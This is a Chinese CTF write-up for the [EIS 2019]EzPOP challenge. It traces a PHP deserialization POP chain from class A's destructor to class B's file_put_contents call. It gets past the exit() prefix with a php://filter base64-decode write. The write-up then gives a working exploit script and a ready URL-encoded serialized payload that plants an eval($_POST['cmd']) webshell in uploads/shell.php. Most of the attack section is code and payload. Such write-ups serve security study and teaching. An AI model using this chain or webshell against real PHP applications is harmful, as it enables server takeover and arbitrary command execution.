[EIS 2019]EzPOP

题目源码

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties); //比较两个数组的键名,并返回交集
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]); //json编码
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire){ //获取失效时间
        return (int) $expire;
    }

    public function getCacheKey(string $name) { //设置filename
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data) { 
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);//命令执行
    }

    public function set($name, $value, $expire = null){
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name); //设置filename

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);


入手点

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

存在file_put_contents可写webshell

由下向上追溯,查看filename是否可控
$filename = $this->getCacheKey($name);

public function getCacheKey(string $name) { 
        return $this->options['prefix'] . $name;
    }

此处表明应该存在一个options数组,$filename = options['prefix'].$name

查看data的来源
$data = $this->serialize($value);//$data经过自定义的serialize函数处理

 protected function serialize($data) { 
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize']; //表明serialize可控

        return $serialize($data);//假如$serialize=eval,此处可为eval($data)
    }
if ($this->options['data_compress'] && function_exists('gzcompress')) {//可以设定options['data_compress']=false,不进入数据压缩这一步
            //数据压缩
            $data = gzcompress($data, 3);
        }
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

此处存在一个死亡绕过问题,我们可以base64解码后写入,具体可参考p牛文章谈一谈php://filter的妙用

<?php
$expire = 0;
$data = '<?php @eval($_POST[\'cmd\']);?>';
$data = 'aaa'.base64_encode($data); //加3个a是为了补齐base64字节数
echo $data; //aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
$filename = 'php://filter/write=convert.base64-decode/resource=uploads/shell.php';
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

shell.php

来看class A
从析构函数看起

public function __destruct() {
        if (!$this->autosave) { //此处令autosave=false即可进入进入save()函数
            $this->save();
        }
    }
public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire); //A类中不存在set()函数,而B类存在,此处为pop链连接点,可令store=new B()
    }
public function cleanContents(array $contents) { //这里可令传入的array为空,则最后return的contents为空
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties); //比较两个数组的键名,并返回交集
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]); //json编码
        //此处return的complete -> A类的set(,$contents,)->B类 set(,$value,) ->$data = $this->serialize($value);
        //即complete的内容应为webshell的内容,json_encode出来的中括号[]等字符,不在base64编码表内,base6解码写入webshell的时候会自动去除
    }

构造payload

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->store = new B();
        $this->key = '';
        $this->expire = 0;
        $this->autosave = false;
        $this->cache = [];
        $this->complete = 'aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=';
    }
}
class B {
    public function __construct()
    {
        $this->writeTimes = 0;
        $this->options = array( 'data_compress' => false,
                                'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/shell.php',
                                'serialize' => 'strval'); //strval加了相当于不加,只是为了用到serialize
    }


}
echo urlencode(serialize(new A));

O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A10%3A%22writeTimes%22%3Bi%3A0%3Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Duploads%2Fshell.php%22%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A43%3A%22aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4%3D%22%3B%7D
写入webshell后,蚁剑连接读取flag

注:
不清楚程序流程时,可以下断点调试

参考
https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop

posted @ 2020-09-30 19:06  山野村夫z1  阅读(383)  评论(0编辑  收藏  举报